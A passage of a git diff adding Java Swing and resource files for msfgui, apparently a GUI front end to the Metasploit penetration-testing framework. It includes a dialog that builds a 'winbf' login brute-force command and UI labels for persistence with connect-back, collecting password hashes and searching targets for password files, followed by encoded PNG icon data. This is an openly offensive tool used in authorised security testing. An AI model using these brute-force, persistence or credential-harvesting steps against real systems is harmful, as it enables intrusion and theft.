.addComponent(passwordField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(passwordButton)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(loginField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(jLabel2)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(targetField, javax.swing.GroupLayout.PREFERRED_SIZE, javax.swing.GroupLayout.DEFAULT_SIZE, javax.swing.GroupLayout.PREFERRED_SIZE) + .addComponent(jLabel3)) + .addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELATED) + .addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignment.BASELINE) + .addComponent(checkPolicyBox) + .addComponent(okButton)) + .addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)) + ); + + pack(); + }// //GEN-END:initComponents + + private void okButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_okButtonActionPerformed + StringBuilder cmd = new StringBuilder("winbf "); + if(targetField.getText().length() > 0) + cmd.append(" -t \""+MsfguiApp.doubleBackslashes(targetField.getText())+"\""); + if(userField.getText().length() > 0) + cmd.append(" -L \""+MsfguiApp.doubleBackslashes(userField.getText())+"\""); + if(passwordField.getText().length() > 0) + cmd.append(" -p \""+MsfguiApp.doubleBackslashes(passwordField.getText())+"\""); + if(loginField.getText().length() > 0) + cmd.append(" -l \""+MsfguiApp.doubleBackslashes(loginField.getText())+"\""); + if(checkPolicyBox.isSelected()) + cmd.append(" -cp"); + command = cmd.toString(); + doClose(); + }//GEN-LAST:event_okButtonActionPerformed + + /** Closes the dialog */ + private void closeDialog(java.awt.event.WindowEvent evt) {//GEN-FIRST:event_closeDialog + doClose(); + }//GEN-LAST:event_closeDialog + + private void userButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_userButtonActionPerformed + if(MsfguiApp.fileChooser.showOpenDialog(this) == JFileChooser.APPROVE_OPTION) + userField.setText(MsfguiApp.fileChooser.getSelectedFile().getPath()); + }//GEN-LAST:event_userButtonActionPerformed + + private void passwordButtonActionPerformed(java.awt.event.ActionEvent evt) {//GEN-FIRST:event_passwordButtonActionPerformed + if(MsfguiApp.fileChooser.showOpenDialog(this) == JFileChooser.APPROVE_OPTION) + passwordField.setText(MsfguiApp.fileChooser.getSelectedFile().getPath()); + }//GEN-LAST:event_passwordButtonActionPerformed + + private void doClose() { + setVisible(false); + dispose(); + } + + // Variables declaration - do not modify//GEN-BEGIN:variables + private javax.swing.JCheckBox checkPolicyBox; + private javax.swing.JLabel jLabel2; + private javax.swing.JLabel jLabel3; + private javax.swing.JTextField loginField; + private javax.swing.JButton okButton; + private javax.swing.JButton passwordButton; + private javax.swing.JTextField passwordField; + private javax.swing.JTextField targetField; + private javax.swing.JButton userButton; + private javax.swing.JTextField userField; + // End of variables declaration//GEN-END:variables + +} diff --git a/external/source/gui/msfguijava/src/msfgui/resources/AutorouteOptionsDialog.properties b/external/source/gui/msfguijava/src/msfgui/resources/AutorouteOptionsDialog.properties new file mode 100755 index 0000000000..238188ead1 --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/resources/AutorouteOptionsDialog.properties @@ -0,0 +1,5 @@ +deleteRouteButton.text=Delete Route +addRouteButton.text=Add route +okButton.text=Ok +ipField.text=10.10.10.0/24 +subnetLabel.text=Subnet: diff --git a/external/source/gui/msfguijava/src/msfgui/resources/EditorWindow.properties b/external/source/gui/msfguijava/src/msfgui/resources/EditorWindow.properties new file mode 100755 index 0000000000..ee940fe598 --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/resources/EditorWindow.properties @@ -0,0 +1,3 @@ + +saveButton.text=Save +jLabel1.text=Unique hashes collected from all meterpreter sessions diff --git a/external/source/gui/msfguijava/src/msfgui/resources/InteractWindow.properties b/external/source/gui/msfguijava/src/msfgui/resources/InteractWindow.properties new file mode 100644 index 0000000000..855fff9198 --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/resources/InteractWindow.properties @@ -0,0 +1,4 @@ + +inputField.text= +submitButton.text=Submit +main.icon=msf_file.png diff --git a/external/source/gui/msfguijava/src/msfgui/resources/JobInfoPopup.properties b/external/source/gui/msfguijava/src/msfgui/resources/JobInfoPopup.properties new file mode 100644 index 0000000000..145a3e7d6d --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/resources/JobInfoPopup.properties @@ -0,0 +1 @@ +okButton.text=OK diff --git a/external/source/gui/msfguijava/src/msfgui/resources/MainFrame.properties b/external/source/gui/msfguijava/src/msfgui/resources/MainFrame.properties new file mode 100644 index 0000000000..e2a39e31bb --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/resources/MainFrame.properties @@ -0,0 +1,52 @@ +# Resources for the MsfguiJDesktopView class + +# top-level menus + +fileMenu.text = File + +# @Action resources + +showAboutBox.Action.text = &About... +showAboutBox.Action.shortDescription = Show the application's information dialog + +# status bar resources + +StatusBar.messageTimeout = 5000 +StatusBar.busyAnimationRate = 30 +StatusBar.idleIcon = busyicons/idle-icon.png +StatusBar.busyIcons[0] = busyicons/busy-icon0.png +StatusBar.busyIcons[1] = busyicons/busy-icon1.png +StatusBar.busyIcons[2] = busyicons/busy-icon2.png +StatusBar.busyIcons[3] = busyicons/busy-icon3.png +StatusBar.busyIcons[4] = busyicons/busy-icon4.png +StatusBar.busyIcons[5] = busyicons/busy-icon5.png +StatusBar.busyIcons[6] = busyicons/busy-icon6.png +StatusBar.busyIcons[7] = busyicons/busy-icon7.png +StatusBar.busyIcons[8] = busyicons/busy-icon8.png +StatusBar.busyIcons[9] = busyicons/busy-icon9.png +StatusBar.busyIcons[10] = busyicons/busy-icon10.png +StatusBar.busyIcons[11] = busyicons/busy-icon11.png +StatusBar.busyIcons[12] = busyicons/busy-icon12.png +StatusBar.busyIcons[13] = busyicons/busy-icon13.png +StatusBar.busyIcons[14] = busyicons/busy-icon14.png +sessionsLabel.text=Sessions +jobsLabel.text=Jobs +exploitsMenu.text=Exploits +auxiliaryMenu.text=Auxiliary +startRpcMenuItem.text=Start new msfrpcd +connectRpcMenuItem.text=Connect to msfrpcd +payloadsMenu.text=Payloads +main.icon=msf_file.png +recentMenu.text=Recent +clearHistoryItem.text=Clear History +helpMenu.text=Help +onlineHelpMenu.text=Online +postMenu.text=Post-Exploit +menuRunAllMeterp.text=Run on all meterpreter sessions... +otherMeterpCommandMenu.text=Other +logGenerateMenuItem.text=Generate HTML Log Report +historyMenu.text=History +killSessionsMenuItem.text=Kill all sessions +changeLFMenuItem.text=Change Look and Feel +collectedCredsMenuItem.text=Show collected hashes +searchButton.text=Search diff --git a/external/source/gui/msfguijava/src/msfgui/resources/MeterpFileBrowser.properties b/external/source/gui/msfguijava/src/msfgui/resources/MeterpFileBrowser.properties new file mode 100644 index 0000000000..68b8c0b80b --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/resources/MeterpFileBrowser.properties @@ -0,0 +1,8 @@ +uploadButton.text=Upload +downloadButton.text=Download +deleteButton.text=Delete +dirButton.text=Make Directory +refreshButton.text=Refresh +pwdLabel.text=Listing Current Directory +upButton.text=Go up +recSearchDownloadButton.text=Recursive search/download diff --git a/external/source/gui/msfguijava/src/msfgui/resources/ModulePopup.properties b/external/source/gui/msfguijava/src/msfgui/resources/ModulePopup.properties new file mode 100644 index 0000000000..dbfdbb79c7 --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/resources/ModulePopup.properties @@ -0,0 +1,11 @@ +authorsLabel.text=Authors +licenseLabel.text=License +versionLabel.text=Version +targetsLabel.text=

Targets

+exploitButton.text=Run Exploit +titleLabel.text=Title +requiredLabel.text=

Required

+optionalLabel.text=

Optional

+main.icon=msf_file.png +advancedLabel.text=

Advanced

+exploitButton1.text=Run Exploit diff --git a/external/source/gui/msfguijava/src/msfgui/resources/MsfguiAboutBox.properties b/external/source/gui/msfguijava/src/msfgui/resources/MsfguiAboutBox.properties new file mode 100644 index 0000000000..438935d66d --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/resources/MsfguiAboutBox.properties @@ -0,0 +1,16 @@ +title = About: ${Application.title} + +closeAboutBox.Action.text = &Close + +appDescLabel.text=A Java GUI to the Metasploit Framework created by scriptjunkie. + +versionLabel.text=Version\: + +vendorLabel.text=Vendor\: + +homepageLabel.text=Homepage\: + +#NOI18N +imageLabel.icon=splash.png +targetsLabel.text=

Targets

+main.icon=msf_file.png diff --git a/external/source/gui/msfguijava/src/msfgui/resources/MsfguiApp.properties b/external/source/gui/msfguijava/src/msfgui/resources/MsfguiApp.properties new file mode 100644 index 0000000000..dd3a62330f --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/resources/MsfguiApp.properties @@ -0,0 +1,11 @@ +# Application global resources + +Application.name = msfguiJDesktop +Application.title = msfgui +Application.version = 5 +Application.vendor = Metasploit LLC +Application.homepage = http\://www.metasploit.com/ +Application.description = A Java GUI to the Metasploit Framework. +Application.vendorId = Metasploit +Application.id = ${Application.name} +Application.lookAndFeel = system diff --git a/external/source/gui/msfguijava/src/msfgui/resources/MulticommandOptionsDialog.properties b/external/source/gui/msfguijava/src/msfgui/resources/MulticommandOptionsDialog.properties new file mode 100644 index 0000000000..951d8593ae --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/resources/MulticommandOptionsDialog.properties @@ -0,0 +1,7 @@ +okButton.text=Go +chooseButton.text=Choose output file +commandFileButton.text=Choose command file +commandFileField.text= +outputFileField.text= +jLabel1.text=Commands - one per line +jLabel2.text=Leave blank to use file diff --git a/external/source/gui/msfguijava/src/msfgui/resources/NetenumOptionsDialog.properties b/external/source/gui/msfguijava/src/msfgui/resources/NetenumOptionsDialog.properties new file mode 100644 index 0000000000..5536142029 --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/resources/NetenumOptionsDialog.properties @@ -0,0 +1,13 @@ + +okButton.text=Ok +jLabel1.text=Target address (may be CIDR) +addressField.text=192.168.1.1/24 +pingBox.text=Ping sweep +reverseDnsBox.text=DNS reverse lookup +forwardBox.text=Forward lookup host list and domain +mxNsBox.text=Perform MX and NS lookups for domain +jLabel2.text=Domian name +domainField.text= +chooseButton.text=Choose file with host list +fileField.text= +serviceBox.text=Perform service record lookups for domain diff --git a/external/source/gui/msfguijava/src/msfgui/resources/OpenConnectionDialog.properties b/external/source/gui/msfguijava/src/msfgui/resources/OpenConnectionDialog.properties new file mode 100644 index 0000000000..27762ceb12 --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/resources/OpenConnectionDialog.properties @@ -0,0 +1,15 @@ +passwordField.text= +usernameField.text=msf +hostField.text=127.0.0.1 +portField.text=55553 +connectButton.text=Connect +usernameLabel.text=Username +titleLabel.text=

Connect to msfrpcd

+passwordLabel.text=Password +hostLabel.text=Host +portLabel.text=Port +cancelButton.text=Cancel +Form.title=msfgui - connection +main.icon=msf_file.png +startNewButton.text=Start new msfrpcd +pathButton.text=Change path diff --git a/external/source/gui/msfguijava/src/msfgui/resources/PayloadPopup.properties b/external/source/gui/msfguijava/src/msfgui/resources/PayloadPopup.properties new file mode 100644 index 0000000000..07c82b561d --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/resources/PayloadPopup.properties @@ -0,0 +1,24 @@ +versionLabel.text=Version +licenseLabel.text=License +authorsLabel.text=Authors +descriptionLabel.text=Description +titleLabel.text=Title +main.icon=msf_file.png +jScrollPane2.TabConstraints.tabTitle=payload +jLabel6.text=Platform +timesField.text= +archField.text= +templateButton.text=Choose... +encoderLabel.text=Encoder +outputLabel.text=Output Format +timesLabel.text=Number of times to encode +archLabel.text=Architecture +templateWorkingCheck.text=Keep template working? +generateButton.text=Generate +displayButton.text=display +saveButton.text=encode/save +outputPathField.text=/tmp/msfoutput.exe +choosePathButton.text=Choose... +outputPathLabel.text=Output Path +templateLabel.text=(win32 only) exe template +handleButton.text=Start handler diff --git a/external/source/gui/msfguijava/src/msfgui/resources/PersistenceOptionsDialog.properties b/external/source/gui/msfguijava/src/msfgui/resources/PersistenceOptionsDialog.properties new file mode 100755 index 0000000000..fca9fec4fe --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/resources/PersistenceOptionsDialog.properties @@ -0,0 +1,13 @@ +jLabel1.text=

Options

+okButton.text=OK +cancelButton.text=Cancel +ipField.text=metasploit +jCheckBox2.text=Start on boot? +portField.text=4444 +portLabel.text=Port for connect-back +ipLabel.text=IP for connect-back +autostartBox.text=Restart each boot +handlerBox.text=Start handler now +intervalField.text=10 +intervalLabel.text=Interval for connect-back +loginRestartBox.text=Restart at current user login diff --git a/external/source/gui/msfguijava/src/msfgui/resources/ProcessList.properties b/external/source/gui/msfguijava/src/msfgui/resources/ProcessList.properties new file mode 100755 index 0000000000..072f8bb644 --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/resources/ProcessList.properties @@ -0,0 +1,3 @@ +migrateButton.text=Migrate +killButton.text=Kill +refreshButton.text=Refresh diff --git a/external/source/gui/msfguijava/src/msfgui/resources/ProcessWindow.properties b/external/source/gui/msfguijava/src/msfgui/resources/ProcessWindow.properties new file mode 100644 index 0000000000..59f5105473 --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/resources/ProcessWindow.properties @@ -0,0 +1,2 @@ + +outputField.text=Output (Running) diff --git a/external/source/gui/msfguijava/src/msfgui/resources/RemoteWinenumOptionsDialog.properties b/external/source/gui/msfguijava/src/msfgui/resources/RemoteWinenumOptionsDialog.properties new file mode 100644 index 0000000000..899d397088 --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/resources/RemoteWinenumOptionsDialog.properties @@ -0,0 +1,9 @@ + +okButton.text=Ok +jLabel1.text=Target address +addressField.text=192.168.1.2 +jLabel2.text=Username +jLabel3.text=Credentials: (leave blank to use current process's creds) +jLabel4.text=Password +passField.text= +userField.text= diff --git a/external/source/gui/msfguijava/src/msfgui/resources/ScheduleTaskOptionsDialog.properties b/external/source/gui/msfguijava/src/msfgui/resources/ScheduleTaskOptionsDialog.properties new file mode 100644 index 0000000000..3fdfdde532 --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/resources/ScheduleTaskOptionsDialog.properties @@ -0,0 +1,24 @@ +jLabel1.text=Schedule a task +dailyButton.text=Every - days +startupButton.text=Startup +loginButton.text=Login +hourlyButton.text=Every - hours +minuteButton.text=Every - minutes +immediateButton.text=Immediately - once +uploadField.text= +goButton.text=Go +jLabel2.text=Command +commandField.text= +jLabel3.text=Options for uploaded EXE +uploadedArgs.text= +uploadButton.text=Upload EXE +jLabel4.text=Remote system +remoteSystemField.text= +remoteScheduleBox.text=Remote schedule? EXE must already be on target system +jLabel5.text=How many? +howManyField.text=1 +jLabel6.text=Password +usernameField.text= +passwordField.text= +jLabel7.text=Username (leave empty to use current account) +jLabel8.text=leave blank if not uploading diff --git a/external/source/gui/msfguijava/src/msfgui/resources/SearchDwldOptionsDialog.properties b/external/source/gui/msfguijava/src/msfgui/resources/SearchDwldOptionsDialog.properties new file mode 100644 index 0000000000..87ca295397 --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/resources/SearchDwldOptionsDialog.properties @@ -0,0 +1,9 @@ +okButton.text=Go +jLabel1.text=Base directory: +dirField.text=%USERPROFILE% +jLabel2.text=Filter: +customField.text='\\.(jpg|png|gif)$' +officeButton.text=(MS|Open)office +win9xButton.text=Win9x '\\.pwl$' +passButton.text=Password '(pass|pwd)' +customButton.text=Custom: diff --git a/external/source/gui/msfguijava/src/msfgui/resources/SearchWindow.properties b/external/source/gui/msfguijava/src/msfgui/resources/SearchWindow.properties new file mode 100755 index 0000000000..d5328e0460 --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/resources/SearchWindow.properties @@ -0,0 +1,17 @@ +jLabel1.text=Search for modules +jLabel2.text=All by name: +exploitsRadioButton.text=Exploits +auxiliaryRadioButton.text=Auxiliary +payloadsRadioButton.text=Payloads +jLabel3.text=Individual by details: (Note, loading all details takes a long time!) +jLabel4.text=By: +referenceRadioButton.text=Reference (CVE, BID, OSVDB, etc) +descriptionRadioButton.text=Description +searchButton.text=Search +searchField.text= +exploitsRadioButton.actionCommand=exploit +auxiliaryRadioButton.actionCommand=auxiliary +payloadsRadioButton.actionCommand=payload +descriptionRadioButton.actionCommand=description +referenceRadioButton.actionCommand=reference +launchButton.text=Launch diff --git a/external/source/gui/msfguijava/src/msfgui/resources/ShellWindow.properties b/external/source/gui/msfguijava/src/msfgui/resources/ShellWindow.properties new file mode 100644 index 0000000000..855fff9198 --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/resources/ShellWindow.properties @@ -0,0 +1,4 @@ + +inputField.text= +submitButton.text=Submit +main.icon=msf_file.png diff --git a/external/source/gui/msfguijava/src/msfgui/resources/UploadexecOptionsDialog.properties b/external/source/gui/msfguijava/src/msfgui/resources/UploadexecOptionsDialog.properties new file mode 100644 index 0000000000..b7285838fc --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/resources/UploadexecOptionsDialog.properties @@ -0,0 +1,10 @@ +okButton.text=Go +fileField.text= +chooseButton.text=Choose exe/script +jLabel1.text=Options to pass +optionsField.text= +pathField.text= +jLabel2.text=Path (blank = %TEMP%) +removeBox.text=Remove after running? +verboseBox.text=Show output? +jLabel3.text=Only works if exe finishes right away diff --git a/external/source/gui/msfguijava/src/msfgui/resources/UserPassDialog.properties b/external/source/gui/msfguijava/src/msfgui/resources/UserPassDialog.properties new file mode 100644 index 0000000000..0da5c960d9 --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/resources/UserPassDialog.properties @@ -0,0 +1,7 @@ +passwordField.text=rocks +usernameField.text=metasploit +usernameLabel.text=Username: +passwordLabel.text=Password: +jLabel1.text=

Enter credentials

Note: special characters and quotes don't always work. +dontButton.text=Dont add user +okButton.text=OK diff --git a/external/source/gui/msfguijava/src/msfgui/resources/WinbfOptionsDialog.properties b/external/source/gui/msfguijava/src/msfgui/resources/WinbfOptionsDialog.properties new file mode 100644 index 0000000000..bd4df56a47 --- /dev/null +++ b/external/source/gui/msfguijava/src/msfgui/resources/WinbfOptionsDialog.properties @@ -0,0 +1,10 @@ +okButton.text=Go +jLabel2.text=Login name to brute force +jLabel3.text=Target IP +targetField.text= +passwordButton.text=Choose Password List +userButton.text=Choose Username List +userField.text= +passwordField.text= +loginField.text= +checkPolicyBox.text=Check local lockout policy diff --git a/external/source/gui/msfguijava/src/msfgui/resources/busyicons/busy-icon0.png b/external/source/gui/msfguijava/src/msfgui/resources/busyicons/busy-icon0.png new file mode 100644 index 0000000000000000000000000000000000000000..242c0c85bc938a08f6eaa046bd24e9509b0b1d9c GIT binary patch literal 3588 zcmV+f4*T(mP)KLZ*U+IBfRsybQWXdwQbLP>6pAqfylh#{fb6;Z(vMMVS~$e@S=j*ftg6;Uhf59&ghTmgWD0l;*T zI709Y^p6lP1rIRMx#05C~cW=H_Aw*bJ-5DT&Z2n+x)QHX^p z00esgV8|mQcmRZ%02D^@S3L16t`O%c004NIvOKvYIYoh62rY33S640`D9%Y2D-rV&neh&#Q1i z007~1e$oCcFS8neI|hJl{-P!B1ZZ9hpmq0)X0i`JwE&>$+E?>%_LC6RbVIkUx0b+_+BaR3cnT7Zv!AJxW zizFb)h!jyGOOZ85F;a?DAXP{m@;!0_IfqH8(HlgRxt7s3}k3K`kFu>>-2Q$QMFfPW!La{h336o>X zu_CMttHv6zR;&ZNiS=X8v3CR#fknUxHUxJ0uoBa_M6WNWeqIg~6QE69c9o#eyhGvpiOA@W-aonk<7r1(?fC{oI5N*U!4 zfg=2N-7=cNnjjOr{yriy6mMFgG#l znCF=fnQv8CDz++o6_Lscl}eQ+l^ZHARH>?_s@|##Rr6KLRFA1%Q+=*RRWnoLsR`7U zt5vFIcfW3@?wFpwUVxrVZ>QdQz32KIeJ}k~{cZZE^+ya? z2D1z#2HOnI7(B%_ac?{wFUQ;QQA1tBKtrWrm0_3Rgps+?Jfqb{jYbcQX~taRB;#$y zZN{S}1|}gUOHJxc?wV3fxuz+mJ4`!F$IZ;mqRrNsHJd##*D~ju=bP7?-?v~|cv>vB zsJ6IeNwVZxrdjT`yl#bBIa#GxRa#xMMy;K#CDyyGyQdMSxlWT#tDe?p!?5wT$+oGt z8L;Kp2HUQ-ZMJ=3XJQv;x5ci*?vuTfeY$;({XGW_huIFR9a(?@3)XSs8O^N5RyOM=TTmp(3=8^+zpz2r)C z^>JO{deZfso3oq3?Wo(Y?l$ge?uXo;%ru`Vo>?<<(8I_>;8Eq#KMS9gFl*neeosSB zfoHYnBQIkwkyowPu(zdms`p{<7e4kra-ZWq<2*OsGTvEV%s0Td$hXT+!*8Bnh2KMe zBmZRodjHV?r+_5^X9J0WL4jKW`}lf%A-|44I@@LTvf1rHjG(ze6+w@Jt%Bvjts!X0 z?2xS?_ve_-kiKB_KiJlZ$9G`c^=E@oNG)mWWaNo-3TIW8)$Hg0Ub-~8?KhvJ>$ z3*&nim@mj(aCxE5!t{lw7O5^0EIO7zOo&c6l<+|iDySBWCGrz@C5{St!X3hAA}`T4 z(TLbXTq+(;@<=L8dXnssyft|w#WSTW<++3>sgS%(4NTpeI-VAqb|7ssJvzNHgOZVu zaYCvgO_R1~>SyL=cFU|~g|hy|Zi}}s9+d~lYqOB71z9Z$wnC=pR9Yz4DhIM>Wmjgu z&56o6maCpC&F##y%G;1PobR9i?GnNg;gYtchD%p19a!eQtZF&3JaKv33gZ<8D~47E ztUS1iwkmDaPpj=$m#%)jCVEY4fnLGNg2A-`YwHVD3gv};>)hAvT~AmqS>Lr``i7kw zJ{5_It`yrBmlc25DBO7E8;5VoznR>Ww5hAaxn$2~(q`%A-YuS64wkBy=9dm`4cXeX z4c}I@?e+FW+b@^RDBHV(wnMq2zdX3SWv9u`%{xC-q*U}&`cyXV(%rRT*Z6MH?i+i& z_B8C(+grT%{XWUQ+f@NoP1R=AW&26{v-dx)iK^-Nmiuj8txj!m?Z*Ss1N{dh4z}01 z)YTo*JycSU)+_5r4#yw9{+;i4Ee$peRgIj+;v;ZGdF1K$3E%e~4LaI(jC-u%2h$&R z9cLXcYC@Xwnns&bn)_Q~Te?roKGD|d-g^8;+aC{{G(1^(O7m37Y1-+6)01cN&y1aw zoqc{T`P^XJqPBbIW6s}d4{z_f5Om?vMgNQEJG?v2T=KYd^0M3I6IZxbny)%vZR&LD zJpPl@Psh8QyPB@KTx+@RdcC!KX7}kEo;S|j^u2lU7XQ}Oo;f|;z4Ll+_r>@1-xl3| zawq-H%e&ckC+@AhPrP6BKT#_XdT7&;F71j}Joy zkC~6lh7E@6o;W@^IpRNZ{ptLtL(gQ-CY~4mqW;US7Zxvm_|@yz&e53Bp_lTPlfP|z zrTyx_>lv@x#=^!PzR7qqF<$gm`|ZJZ+;<)Cqu&ot2z=00004XF*Lt006O$eEU(80000WV@Og>004R=004l4008;_004mL004C` z008P>0026e000+nl3&F}0009YNkl9(E9L4|l{@;7|z0y~votchh%9JmO zEv-UF(F*MlqG>Rim>3o&1Qtz9Ok@FJ!H4XOD?_?4sSB+%L?o^-;z!hK37Zz>!y0LA z4TTn_oz6^wzIpGyci+5w-Jt1)^p~9EEY3N*LzGgmlG`(P_k91uFNa6Ret&79u-MRl z=EFe(gj*JyNyO`iZM$}IWnTNw2qEmx&VG6J=i$qHeeRoq2sIG|2nu?_C=~pG|J-7! zyt~e>y}otJ#*Yz^|3BadB6g;K;L^mz)HXykHBF<{C;~#MQlL;Ns8LF;iKV(`F=p_Y&+~|Z!PD#yQVXl=H*g(sp;V(XRTAI zm|+-_D2$wVy#7+Qv*WaOXZGISiOH$mrfDJ}ROY&0&L2Fm|2zO(dn~Z+HCX`2-kO~5 zotw)y3L#>%bNBaUGU;!yC-=$+<)sJDAfno^Ayav$@4!(2_yho^0Kj>yDF7HrCgSCM zzR=@16()qJ6(Y1~u~criEK}ChSTfhsbr}FI!jrj}$)ra)=jaCkou6NLUJHUSW*CM9 z1+ZoFrU6)mR4O^>alTJVNqj$O)R>{8R44%e2!Xq>Ib8ssm5fHwzY2k zju}icW=QVx)|-F)b@EB&PY1ua@aOogHmBmE>w5S?cE`6`BGK^q`sVaoi=|S%u4%Q! z^3rRgzujnVh{gU+r4l1^_wpNm{Ar}``i=2UXW5BamPMtMvU7V!v85$FK$KDtMbV+L zt2d9io?D~qy3}>uGYq|`Yx?55?;U%aQmPEYkS1e_nM`)Hw?2CR#F68S8G{r601?l> zxO4l^x~8TgMFd1N2_elu$PNGir4*4;l4?{Xdvd$xPoF&U5o5-=m2V6Yv430J(=$%R z-Crn_)_a`W1OORhGMS8vU0pj1Z@k_+zIjv25CD7)0962he+K}j(qy2%9~XcC0000< KMNUMnLSTZ21;I%G literal 0 HcmV?d00001 diff --git a/external/source/gui/msfguijava/src/msfgui/resources/busyicons/busy-icon1.png b/external/source/gui/msfguijava/src/msfgui/resources/busyicons/busy-icon1.png new file mode 100644 index 0000000000000000000000000000000000000000..9f6f63438ec797feb79c00697d783e4c58dcbe88 GIT binary patch literal 3585 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 